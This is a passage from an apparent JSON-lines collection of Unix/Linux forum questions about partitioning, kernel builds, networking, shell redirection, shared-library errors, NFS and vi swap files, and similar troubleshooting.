e: 2097152 4194304 4.2BSD 2048 16384 89 f: 29613756 6291456 4.2BSD 2048 16384 89 Update: I came a cross the advice to use sade for this purpose. Unfortunately, sade can't see much empty space: 0 63 62 - 12 unused 0 63 35905212 35905274 da0s1 8 freebsd 165 35905275 10501 35915775 - 12 unused 0 This may be a dead end. Do I need to figure out drive geometry somehow? It might be relevant to mention that the drive is a RAID 1 mirror set; originally the mirrored drives were both 20G SCSI drives but they've both been swapped out with 300G drives. I'm willing to temporarily break the mirror if that will help."} {"_id": "69033", "title": "Mouse cursor became a big X", "text": "Below is a screenshot from Chromium browser, running in Razor-Qt desktop, In other DEs, the cursor is just normal, but here you can see it becomes a big X, anyone know how to fix that? The cursor theme is not broken, as it works for KDE4 and XFCE4 ![enter image description here](http://i.stack.imgur.com/RKLot.png) P.S That happens to all GTK apps, Qt app works fine"} {"_id": "64000", "title": "Why are logical volumes used with LUKS partitions?", "text": "All of the instructions I've seen on setting up a LUKS encrypted drive require using logical volumes to create root and swap partitions inside a LUKS device. Why not just put standard partitions inside with `fdisk` or `parted`? I know that it can be done. I've tried it. But I have no idea how to set up GRUB and initramfs to work with them. And in order to get the partitions to show up (e.g. in `blkid`) I have to run `parted` and remake them. They aren't automatically added to any device list when I open the encrypted device."} {"_id": "20864", "title": "What happens in each step of the Linux kernel-building process?", "text": "I've read many tutorials about how to build custom kernels and boot Ubuntu using those kernels, and successfully followed the guides and booted custom kernels, but I have no understanding about what each of the command in the guides do and what is actually happening with each command. The procedure described on Ubuntu's site does a lot of work with `fakeroot`, `dpkg`, `make-kpkg`, some initramfs, and other horrible stuff that works but simply does not help me understand what is going on. * What is the output of `make` in a linux kernel directory? * Does it create a \"compressed kernel image\"? * What is the name of the \"compressed kernel image\" file and where is it placed? * What does `make modules` do? * Should `make modules` be done before or after `make`? * Doesn't `make` build my modules automatically? * What is the process (in English, not just the list of commands) of adding newly built kernels to the list of bootable kernels? * What does `make install` do? * Will `make install` add it to my list of bootable kernels so that I don't have to do anything more? * Is there an equivalent `make modules_install`?"} {"_id": "52690", "title": "To not autoremove something", "text": "I have uninstalled my distro's (Debian Wheezy) package of torchat, and use a newer version I've built myself. Since removing the package apt-get wants me to autoremove something which the software I've built still depends on. How do I make it so I never see this warning again? The following package was automatically installed and is no longer required: python-socksipy Use 'apt-get autoremove' to remove it."} {"_id": "69039", "title": "awk, sed, grep, perl... which to print out in this case?", "text": "I have this syntax in a file (http response times from analog): secondsreqs%reqsGbytes%bytes 010927 0.47%0.01 0.18% <= 0.01102647144.59%0.11 1.81% 0.01-0.0253539023.26%0.06 0.95% 0.02-0.0593298 4.05%0.27 4.29% etc. What I want to be left with is the value for seconds - so 2 characters after \"x\" and before the first < And also the request length, so 2 characters after \"R\" and before the next subsequent < Probably not the best exercise to get to grips with regex but that's what I'm stuck with. Any help would be incredibly useful. Expected result: seconds reqs 0 10927 <= 0.01 1026471 0.01-0.02 535390 0.02-0.05 93298"} {"_id": "20863", "title": "\"Short read block\" error trying to boot RHEL", "text": "I changed my network configurations from static IP to DHCP and removed the DNS entry, etc. Then I rebooted the computer, but am now unable to boot, I get an error message along the lines of \"short read block filesystem ext3\". How can I fix this?"} {"_id": "64008", "title": "Wifi connection works but can't connect to internet", "text": "I've recently switched to using Slackware 14 on my laptop, so far I'm quite happy with the distro, except for 1 _really_ annoying little thing: I can surf using hotspots, and all sorts of public wifi-access-points, but I can't seem to get on-line at home. Prior to running Slackware, I was using Debian, so yes, my laptop has been on my home network, without mac-spoofing or anything. Currently, I've setup my wlan interface as `eth1`, and added these lines in my `/etc/rc.d/rc.local`: wpa_supplicant -B -Dwext -ieth1 -c/etc/wpa_supplicant.conf Which does the trick, it seems, using something like `wpa_cli` or `wpa_gui`, I can easily connect to my home network. I therefore changed the wpa_supplicant file a bit, adding: network={ ssid=\"HomeSweetHome\" psk=0123464sdasd4d56agr6 #output from wpa_passpharse HomeSweetHome mypassphrase key_mgmt=WPA2-PSK #and so on } But no matter what I do (use settings above, or connect manually) I can connect to other machines on the LAN, but as soon as I try to google something, nothing happens. Constantly \"Waiting for siteX\" is all I get. Does anybody here have any idea as to what I'm missing here? There _has_ to be something I haven't configured as supposed to here... I can't think of anything ATM, though. _Update:_ Yes, I can `ping 8.8.8.8`, no problem. I can add network locations and share files with the other computers in the network, too. Output of `ifconfig eth1`: eth1: flags=4163 mtu 1500 inet 192.168.1.64 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::213:ceff:fef1:5267 prefixlen 64 scopeid 0x20 ether 00:13:ce:f1:52:67 txqueuelen 1000 (Ethernet) RX packets 491 bytes 57950 (56.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 75 bytes 10228 (9.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 17 base 0x6000 memory 0xdfcff000-dfcfffff Output of `route -n`: Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.1.1 0.0.0.0 UG 303 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 192.168.1.0 0.0.0.0 255.255.255.0 U 303 0 0 eth1 `ping google.com`: All went well, 0% packet loss, on average 20ms/packet. `tcptraceroute` isn't installed at the moment, but I'll set it up in due time. For now, here's the output of `traceroute -n 8.8.8.8` traceroute 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets 1 192.168.1.1 1.190 ms 1.872 ms 5.465ms 2 192.168.0.1 5.520 ms 5.699 ms 6.960 ms 3 78.21.0.1 15.007 ms 15.850 ms 17.525 ms 4 * * * * 5 213.224.253.9 27.151 ms 28.096 ms 28.146 ms # And so on, all the way to: 12 * * * * 13 8.8.8.8 17.921 ms 22678 ms 20.022 ms"} {"_id": "118307", "title": "Configuring a tftp server for multiple clients", "text": "I am using a tftp server to hold the boot image for a dev board and the dev board is hard-coded to look at a particular IP address for the server. This all works fine. What I want to do now is be able to set up a second dev board to look at the same IP address for the server, but get a different boot image. I would like to do this by having the tftp server use a different root directory based on the IP address of the client connecting to it. Is there a way to do this? I realize there may be some way to do this with iptables, but I have to turn the firewall on the server machine off entirely for other reasons, so that may not be terribly practical. For reference, I'm using Fedora 15 for the server, but that can be changed if need be."} {"_id": "148426", "title": "How to install/make the kernel section 9 manpages which document its functions and data structures?", "text": "The kernel sources contain _functions_ and _data structures_ which are documented, for instance in `panic.c`: /** * panic - halt the system * @fmt: The text string to print * * Display a message, then perform cleanups. * * This function never returns. */ void panic(const char *fmt, ...) Instead of going through the sources every time, it would be useful to view those APIs as _manpages_ and leverage this existing documentation framework. * * * How do you install/make the _kernel section 9 manpages_ (`/usr/share/man/man9`) which document the aforementioned functions and data structures?"} {"_id": "118303", "title": "Why does 'nohup command >& /dev/null' seem to \"work\" in some shells?", "text": "I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & Now, the latter correctly redirects both stderr and stdout to `/dev/null`, I was expecting the former to either create a file called `&` or, more likely, to give an error as it does for other cases: $ echo \"foo\" >& bash: syntax error near unexpected token `newline' Instead, it seems to work in exactly the same way as the former, a `gedit` window appears and no error message is printed. I should also note that this is shell specific: * `bash` (4.2.45(1)-release), `zsh` (5.0.2), `csh` (deb package version: 20110502-2) and `tcsh` (6.18.01) : works as described above, no error message, no files created. * `dash` (0.5.7-3): $ nohup gedit >& /dev/null & $ dash: 2: Syntax error: Bad fd number * `ksh` (93u+ 2012-08-01): fails, but a process is apparently started (`1223`) though no `gedit` window appears: $ nohup gedit >& /dev/null & [1] 1223 $ ksh: /dev/null: bad file unit number * `fish` (2.0.0): > nohup gedit >& /dev/null & fish: Requested redirection to something that is not a file descriptor /dev/null nohup gedit >& /dev/null & ^ So, why does this command simply run with no errors (and no output file created) in some shells and fail in other? What is the `>&` doing in the apparently special case of `nohup`? I am guessing that `>& /dev/null` is being interpreted as `>&/dev/null` but why isn't the space causing an error in these shells?"} {"_id": "118302", "title": "understanding the \"chunk size\" in context of RAID", "text": "Am I correct that _chunk size_ in context of RAID is essentially the same thing as _cluster_ in file-system context? In other words, _chunk size_ is the smallest unit of data which can be written to a member of RAID array? For example if I have a chunk size of 64KiB and I need to write a 4KiB file and cluster size of the file-system is also 4KiB, then is it true that I will use one 64KiB chunk and basically waste 60KiB?"} {"_id": "5832", "title": "Is there an equivalent of GNU Screen's \"log\" command in tmux?", "text": "I make heavy use of screen's \"log\" command to log the output of a session to a file, when I am making changes in a given environment. I searched through tmux's man page, but couldn't find an equivalent. Is anyone aware of a similar feature in tmux, or do I have to write my own wrapper scripts to do this? EDIT: I'm aware of 'script' and other utilities that allow me to log a session. The reason that screen's functionality is so useful is the ability to define a logfile variable which uses string escapes to uniquely identify each session. e.g. I have a shell function which, given a hostname, will SSH to that host in a new screen window and set the window title to the hostname. When I start a log of that session, it is prefixed with the window title. If this functionality doesn't exist in tmux, I'll have to create a new set of shell functions to set up 'scripts' of sessions I want to log. This isn't hugely difficult, but it may not be worth the effort given that screen does exactly what I need already."} {"_id": "114155", "title": "Install vlc in CentOS 6.4 and embed on web page", "text": "I am doing the following: in `/etc/yum.repos.d/`: $ wget http://pkgrepo.linuxtech.net/el6/release/linuxtech.repo $ yum install vlc -y How do I get the player on my web page, because currently with embed tag it is still saying \"missing plug in\". Is this the best option for playing `stream.cgi`? I am doing all this so I can play `videostream.cgi` from my outdoor wireless network cam, because otherwise I cannot see how to ftp that stream having already tried within admin of camera network, and anyway if I could find a way I still wouldn't know how to convert the rtsp stream."} {"_id": "148429", "title": "What does __ prefix before some kernel api's convey?", "text": "Why do some function calls in kernel specially have this prefix `__` example: `__init initialization(void)` is `__init` a macro? What does this convey? Are these a special class of function calls inside the kernel or do they resemble any assembly function body present inside? What actually are they trying to represent?"} {"_id": "152851", "title": "du command gives error and result at the same time", "text": "I would like to know the disk space of my VPS, and although for folders `du` works fine as $ du -sh /home/ 325M /var/ But trying to get the entire vps is giving me this result. [root@user/]# du -sh du: cannot access `./proc/18097/task/18097/fd/4': No such file or directory du: cannot access `./proc/18097/task/18097/fdinfo/4': No such file or directory du: cannot access `./proc/18097/fd/4': No such file or directory du: cannot access `./proc/18097/fdinfo/4': No such file or directory 1.3G . I am assuming 1.3G is the space, but why does the error happen? How do I fix it?"} {"_id": "152855", "title": "Again about routing", "text": "Have a problem with primitive routing. Have a CentOs with 3 NICs (1 external). I want to confgure forwarding between two internal. Config: eth0 - 192.168.1.105 \\ 24 eth1 - 10.10.10.1 \\ 25 eth2 - 10.10.10.129\\ 25 Clients have a gateway 10.10.10.1 and 10.10.10.129 (depending on subnet) Here is route: ![enter image description here](http://i.stack.imgur.com/XvCw2.png) sysctl.conf net.ipv4.ip_forward = 1 - enabled. When i'm test ping from clients, clients can ping their gateway, other NIC ip(ex. client with ip 10.10.10.10 pings 10.10.10.1(gw) and 10.10.10.129), but cannot ping any client from neighbour subnet. There is the problem?"} {"_id": "152854", "title": "Error while loading shared libraries: libdl.so.2 (and others), no such file. Libraries exist", "text": "Attempting to install a Java application from a .bin file. When opening the installer from command line, I see these errors: [boxen]# ./ZendStudio-5_2_0.bin Preparing to install... Extracting the JRE from the installer archive... Unpacking the JRE... Extracting the installation resources from the installer archive... Configuring the installer for this system's environment... awk: error while loading shared libraries: libdl.so.2: cannot open shared object file: No such file or directory dirname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory /bin/ls: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory basename: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory dirname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory basename: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory hostname: error while loading shared libraries: libnsl.so.1: cannot open shared object file: No such file or directory Launching installer... grep: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory /tmp/install.dir.7515/Linux/resource/jre/bin/java: error while loading shared libraries: libpthread.so.0: cannot open shared object file: No such file or directory ... The catch is that every one of these objects exist on the system. # locate libdl.so.2 /usr/lib/libdl.so.2 /usr/lib64/libdl.so.2 # locate libc.so.6 /usr/lib/libc.so.6 /usr/lib/i686/nosegneg/libc.so.6 /usr/lib64/libc.so.6 # locate libnsl.so.1 /usr/lib/libnsl.so.1 /usr/lib64/libnsl.so.1 If I issue this, echo $LD_LIBRARY_PATH I get nothing. So, I add include directories to the path: [boxen]# LD_LIBRARY_PATH=/usr/lib:/usr/lib64/:/usr/local/lib/:/usr/local/lib64/ [boxen]# echo $LD_LIBRARY_PATH /usr/lib:/usr/lib64/:/usr/local/lib/:/usr/local/lib64/ And re-run the installer... [boxen]# ./ZendStudio-5_2_0.bin Preparing to install... Extracting the JRE from the installer archive... Unpacking the JRE... Extracting the installation resources from the installer archive... Configuring the installer for this system's environment... awk: error while loading shared libraries: libdl.so.2: cannot open shared object file: No such file or directory dirname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory /bin/ls: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory basename: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory dirname: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory basename: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory hostname: error while loading shared libraries: libnsl.so.1: cannot open shared object file: No such file or directory Launching installer... grep: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory /tmp/install.dir.8055/Linux/resource/jre/bin/java: error while loading shared libraries: libpthread.so.0: cannot open shared object file: No such file or directory ... Exact same batch of errors. Installed Java version: java version \"1.7.0_65\" OpenJDK Runtime Environment (rhel-2.5.1.2.el7_0-x86_64 u65-b17) OpenJDK 64-Bit Server VM (build 24.65-b04, mixed mode) Installed glib: # rpm -qa | grep glibc glibc-2.17-55.el7.i686 glibc-2.17-55.el7.x86_64 glibc-headers-2.17-55.el7.x86_64 glibc-common-2.17-55.el7.x86_64 glibc-devel-2.17-55.el7.x86_64 What could be causing the installer to not see files that are plainly there and in the environment variable?"} {"_id": "152859", "title": "Pulseaudio: \"virtual\" sink just for controlling volume", "text": "I got a box that runs XBMC and other media apps, and various apps that play status sounds. I'd like to have two \"virtual\" sinks (basically just for controlling the volume of a group of applications), one for status sounds and one for Multimedia. I've experimented with various pulseaudio modules, without any success. I know how to assign applications to specific sinks, but how to create this kind of \"just change volume and forward to the default sink\"-sinks?"} {"_id": "152858", "title": "Why is minecraft much darker on my Linux side than my Windows side?", "text": "I'm using oracle java for both (verified by checking what version of java running process was using). I use an nvidia graphics card. I'm using the latest beta drivers for linux. This is been an issue across 3 different computers with different types of linux (all debian based...Ubuntu, Xubuntu, Lubuntu, and Mint) and different video cards. It's not terrible, but it is quite noticeable. I remember about 3 or 4 years ago was when I first noticed it. EDIT: after taking screenshots and comparing the screenshots in each OS, the game is not any darker or brighter. There must be some sort of color profile going on in linux, because its darker than it should be by a lot. On the moody setting, your view distance is only about 3 to 5 blocks, but unfortunately that aspect isnt captured by screenshot."} {"_id": "86427", "title": "Cannot modify files in my home directory", "text": "I have a laptop running Ubuntu Server 12.04 and suddenly, yesterday, I don't know what happened, but all the permissions changed of my home directory, so when ever I try to create a file, it says something like: `mkdir: cannot create directory 'Samba': Read-only file system` Note: This is in my home folder, not in the root folder or many of it's sub folders."} {"_id": "45639", "title": "wait does not wait", "text": "If i have a file called `myprogram` containing sleep 200 date Run this in the background: $ sh myprogram & i want to know when `myprogram` has completed by using `wait` command $ cat >notify wait PID echo \"Program completed\" $ sh notify & `PID` is the process ID given from third command, my problem is that the message \"program completed\" printed on the terminal immediately after the last command,why wait does not wait? , i am using ubuntu 11.10"} {"_id": "147224", "title": "Piping the output of ls or tree to less loses colors?", "text": "`tree` and `ls` can distinct file types by coloring filenames differently. `tree` and `ls` often output a long list of files (including directories), so I pipe the stdout output to `less`. But `less` doesn't preserve the colors. How can we make it show colors, or some alternative ways? Just saw the linked list, but piping to `less -R` or `less -r` doesn't work. My OS is Ubuntu 12.04. `less` is Version 444: 09 Jun 2011."} {"_id": "48209", "title": "Parsing the output of date with sed", "text": "I am trying to replace the whitespaces in the output of date with '_' with no success. $date Fri Sep 14 14:10:04 EDT 2012 $ date | sed 's/ /_/' Fri_Sep 14 14:10:24 EDT 2012 As you can see, the last command only replaced the first whitespace by a `_`'. Why did it skip the other whitespaces?"} {"_id": "90291", "title": "Missing libraries in fedora 19", "text": "On fedora 19 64bit, which packages should I install for the compilation options -lz and -lcrypto? I am trying to compile git statically. This is the complete error message: [rubenroy@localhost git]$ make prefix=/home/rubenroy/git-static CFLAGS=\"${CFLAGS} -static\" LINK git-credential-store /usr/bin/ld: cannot find -lz /usr/bin/ld: cannot find -lcrypto libgit.a(path.o): In function `getpw_str': path.c:(.text+0xd0b): warning: Using 'getpwnam' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking libgit.a(wrapper.o): In function `xgetpwuid_self': wrapper.c:(.text+0xeac): warning: Using 'getpwuid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libpthread.a(libpthread.o): In function `sem_open': (.text+0x67fb): warning: the use of `mktemp' is dangerous, better use `mkstemp' libgit.a(ident.o): In function `add_domainname': ident.c:(.text+0x3cc): warning: Using 'gethostbyname' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking collect2: error: ld returned 1 exit status make: *** [git-credential-store] Error 1 [rubenroy@localhost git]$ EDIT: The libraries are installed now, but I still get an error while compiling: [rubenroy@localhost git]$ make prefix=/home/rubenroy/git-static CFLAGS=\"${CFLAGS} -static\" LINK git-credential-store libgit.a(path.o): In function `getpw_str': path.c:(.text+0xd0b): warning: Using 'getpwnam' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking libgit.a(wrapper.o): In function `xgetpwuid_self': wrapper.c:(.text+0xeac): warning: Using 'getpwuid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libpthread.a(libpthread.o): In function `sem_open': (.text+0x67fb): warning: the use of `mktemp' is dangerous, better use `mkstemp' libgit.a(ident.o): In function `add_domainname': ident.c:(.text+0x3cc): warning: Using 'gethostbyname' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(fips.o): In function `FIPSCHECK_verify': (.text+0x116): undefined reference to `dlopen' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(fips.o): In function `FIPSCHECK_verify': (.text+0x12d): undefined reference to `dlsym' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(fips.o): In function `FIPSCHECK_verify': (.text+0x142): undefined reference to `dladdr' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(fips.o): In function `FIPSCHECK_verify': (.text+0x14e): undefined reference to `dlclose' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(fips.o): In function `FIPSCHECK_verify': (.text+0x1a6): undefined reference to `dlclose' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_globallookup': (.text+0x11): undefined reference to `dlopen' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_globallookup': (.text+0x24): undefined reference to `dlsym' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_globallookup': (.text+0x2f): undefined reference to `dlclose' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_bind_func': (.text+0x334): undefined reference to `dlsym' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_bind_func': (.text+0x3f2): undefined reference to `dlerror' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_bind_var': (.text+0x464): undefined reference to `dlsym' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_bind_var': (.text+0x522): undefined reference to `dlerror' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_load': (.text+0x589): undefined reference to `dlopen' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_load': (.text+0x5ed): undefined reference to `dlclose' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_load': (.text+0x625): undefined reference to `dlerror' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_pathbyaddr': (.text+0x6b1): undefined reference to `dladdr' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_pathbyaddr': (.text+0x711): undefined reference to `dlerror' /usr/lib/gcc/x86_64-redhat-linux/4.8.1/../../../../lib64/libcrypto.a(dso_dlfcn.o): In function `dlfcn_unload': (.text+0x772): undefined reference to `dlclose' collect2: error: ld returned 1 exit status make: *** [git-credential-store] Error 1"} {"_id": "90290", "title": "How to display all the partitions in a tree-like format (primary, extended and logical)?", "text": "I'm trying to find something that resembles the output of `findmnt` but with volumes instead mount-points (example): TARGET TYPE FSTYPE sda \u251c\u2500sda1 Primary ext4 \u2502 \u2514\u2500/ \u251c\u2500sda2 Primary NTFS \u251c\u2500sda3 Primary ext4 \u2502 \u2514\u2500/boot \u2514\u2500sda4 Extended \u251c\u2500sda5 Logical ext4 \u2502 \u2514\u2500/home \u2514\u2500sda6 Logical ext4 \u2514\u2500/var The show of TYPE and FSTYPE is optional, what interest me more is the tree layout. The output of `lsblk` is somewhat incomplete since it doesn't show the differences between Primary, Extended and Logical partitions. (I know I'm being picky here): lsblk -a NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 186.3G 0 disk \u251c\u2500sda1 8:1 0 106.6G 0 part \u251c\u2500sda2 8:2 0 52.8G 0 part /media/F66E431C6E42D551 \u251c\u2500sda3 8:3 0 1023M 0 part [SWAP] \u251c\u2500sda4 8:4 0 1K 0 part \u251c\u2500sda5 8:5 0 953M 0 part /boot \u251c\u2500sda6 8:6 0 487M 0 part [SWAP] \u251c\u2500sda7 8:7 0 14G 0 part / \u2514\u2500sda8 8:8 0 10.5G 0 part /home I know that `sda4` extended partition includes `sda5`, `sda6`, `sda7`, `sda8` logical partitions; but if I was seeing someone else output I wouldn't know. If instead of `part` and `disk` it saids `pri` `log` and `ext` would be a good alternative, at least I know the relationship. But since all are `part`s... no good. `sudo fdisk -l` output: Disk /dev/sda: 200.0 GB, 200049647616 bytes 255 heads, 63 sectors/track, 24321 cylinders, total 390721968 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x1549f232 Device Boot Start End Blocks Id System /dev/sda1 * 63 223629311 111814624+ 7 HPFS/NTFS/exFAT /dev/sda2 225724416 336437306 55356445+ 7 HPFS/NTFS/exFAT /dev/sda3 223629312 225724415 1047552 82 Linux swap / Solaris /dev/sda4 336439294 390721535 27141121 5 Extended /dev/sda5 336439296 338391039 975872 83 Linux /dev/sda6 338393088 339390463 498688 82 Linux swap / Solaris /dev/sda7 339392512 368687103 14647296 83 Linux /dev/sda8 368689152 390721535 11016192 83 Linux Partition table entries are not in disk order"} {"_id": "99522", "title": "vi creating a swap files before create a new file", "text": "This is a strange problem. the swap file get created for the new files. so, my directory is empty there is no file exist and then when I `vi test.txt` I get the swap file message. It looks like the `vi` create .swp files as crash dump and show me that restore file message. nfs setting: netapp-3240:/vol/vol0/test /testing nfs rsize=8192,wsize=8192,timeo=14,intr 0 0 [user@rh-test]cat /etc/redhat-release Red Hat Enterprise Linux Server release 5.9 (Tikanga) [user@rh-test]ls -la total 8 drwx------ 2 root root 4096 Nov 8 15:35 . drwx------ 9 root root 4096 Nov 8 13:59 .. /testing [user@rh-test]vi test.txt E325: ATTENTION Found a swap file by the name \".test.txt.swp\" owned by: rahmed dated: Fri Nov 8 15:30:06 2013 [cannot be read] While opening file \"test.txt\" dated: Fri Nov 8 15:29:59 2013 (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution. (2) An edit session for this file crashed. If this is the case, use \":recover\" or \"vim -r test.txt\" to recover the changes (see \":help recovery\"). If you did this already, delete the swap file \".test.txt.swp\" to avoid this message. Swap file \".test.txt.swp\" already exists! [O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort: [user@rh-test]ls -la total 8 drwx------ 2 root root 4096 Nov 8 15:39 . drwx------ 9 root root 4096 Nov 8 13:59 .. -rwx------ 1 user sysadmins 0 Nov 8 15:39 .test.txt.swo -rwx------ 1 user sysadmins 0 Nov 8 15:39 .test.txt.swp of course if I create a file by echo then no swap file. [user@rh-test]echo \"this is test file\" > test.txt /testing [user@rh-test]ls -la total 8 drwx------ 2 root root 4096 Nov 8 15:29 . drwx------ 9 root root 4096 Nov 8 13:59 .. -rwx------ 1 user sysadmins 18 Nov 8 15:29 test.txt The output of `:set dir` is `directory=.,~/tmp,/var/tmp,/tmp` Please note that this is only happening on this nfs mount `/test`. the other local and nfs mounts on same system not having this issue. mount options: `netapp-3240:/vol/vol0/test on /testing type nfs (rw,rsize=8192,wsize=8192,timeo=14,intr,addr=10.200.23.22)` **After changing to nfsvers=2 it is starting working** nfsvers=2 or nfsvers=3 \u2014 Specifies which version of the NFS protocol to use. This is useful for hosts that run multiple NFS servers. If no version is specified, NFS uses the highest supported version by the kernel and mount command. This option is not supported with NFSv4 and should not be used. `netapp-3240-2:/vol/vol1/testing on /test type nfs (rw,rsize=16384,wsize=16384,intr,nfsvers=2,addr=10.200.23.22)` ** ## Resolved: ### This issue was related to NetApp option not set correctly. In order to resolve this we had to set this option on NetApp `options cifs.ntfs_ignore_unix_security_ops on` on NetApp.**"} {"_id": "99523", "title": "How to set xscreensaver to use blank mode without GUI?", "text": "After installing `xscreensaver` in Arch Linux my laptop has started displaying fancy, battery-depleting animations when nobody is looking. How do I configure this to use the `blank` mode via the command line (i.e., without `xscreensaver-demo`)?"} {"_id": "48203", "title": "Run Script once a day with systemd", "text": "I want to run a backup script 10 minutes after booting up my machine but only once a day. Is it possible to build up such scenarios with systemd?"} {"_id": "136103", "title": "Globbing with * in Bash - Debian vs RHEL", "text": "Where is the difference? Do these distributions handle globbing differently? Platforms: Debian Wheezy 7, Red Hat Enterprise Linux 7. Bash is always used. In my example, `cat` prints every file in `/etc` via `stdout` while output via `stderr` is discarded. Wildcard `*` is supposed to represent every file name. There can only be a single match. So the command should print a single line. On RHEL it does, but on Debian it does not because the result is preceded by `No such file or directory`. * As anticipated, these commands search in /etc, on both platforms: (Debian|RHEL)# cat $(find /etc/ ) 2>>/dev/null | grep MatchThisString (Debian|RHEL)# cat $(find /etc/ -name \"*\") 2>>/dev/null | grep MatchThisString (Debian|RHEL)# cat $(find /etc/ -name *) 2>>/dev/null | grep MatchThisString * However, on Debian, the * wildcard is not understood. On RHEL, it works as expected. Debian# cat $(find /etc/ *) 2>>/dev/null | grep Match find: `*': No such file or directory MatchThisString * * * EDIT: My original question is answered: `*` is matched itself. New question, more specific: find * looks for a file named \u201c*\u201d on Debian but not on RHEL."} {"_id": "48200", "title": "Recovered deleted files on Mac by command line", "text": "I accidentally deleted a file by running: rm -rf ./Desktop/myScript.sh I think it's possible to recover the file, because the `rm` command removes temporarily. How can I recover the deleted file on Mac OSX?"} {"_id": "45635", "title": "What user installs a .deb package?", "text": "I am experiencing a behavior in the installation of a _.deb_ package that I don't really understand. I have a set of \"things\" in my computer that I deploy to remote computers using a _.deb_ package. I work in my local machine logged as the user \"`borrajax`\". There's also a \"`borrajax`\" user in the remote machine where I install my _.deb_. When I need to deploy my \"things\", I create a _.deb_ package in my machine (with `sudo dpkg --build`), copy it to the remote machine and install it with `sudo dpkg -i myPackage.deb` . When I do that, the \"expanded\" (or installed) files become owned by the local user `borrajax`, which is good. Now, I have a coworker that also tries to do the same thing but he is logged in as a different local username (he doesn't have a `borrajax` user in his machine, but... `foobar` - I guess his parents didn't like him much-). He follows exactly the same process I do with my local user `borrajax` but with his local `foobar` user: Create the `.deb` in his machine, copy it to the remote machine and install it with `dpkg -i`. Well... In that case, the installed files become owned by `root`, which prevents the installation to continue (which is not a bug, but a feature). All these machines are Ubuntu (11.10 mine, 12.04 the remote one and my coworker's one) so what I would like is the package become installed with whatever user has the uuid 1000. I would expect the name not to be so relevant (It may be just a coincidence there's a `borrajax` user in my machine and in the remote one). So in this case, the username seems very relevant. Why is that? As I mentioned earlier, my local user `borrajax`, my coworker's `foobar` and the `borrajax` in the remote machine are all the uid=1000. Why does the user's name (seem to be) so important? My local `borrajax` user may not have anything to see at all with the `borrajax` in the remote machine. If the package was created by the user with uid 1000, why \"sometimes\" (if I've created it) it is installed with whatever user has the uid 1000 in the remote machine and \"sometimes\" it's installed with root (if my coworker has created it)? I can always change the owner of the installed files using `chown 1000` in the postint script, or use some other kind of workaround but I would like to understand first why is this happening, and how is it that the username in two different machines seems so important? Thank you in advance"} {"_id": "48206", "title": "How can I switch 2 characters in vi?", "text": "I like the fact that I've memorized `d``d``p` for switching two 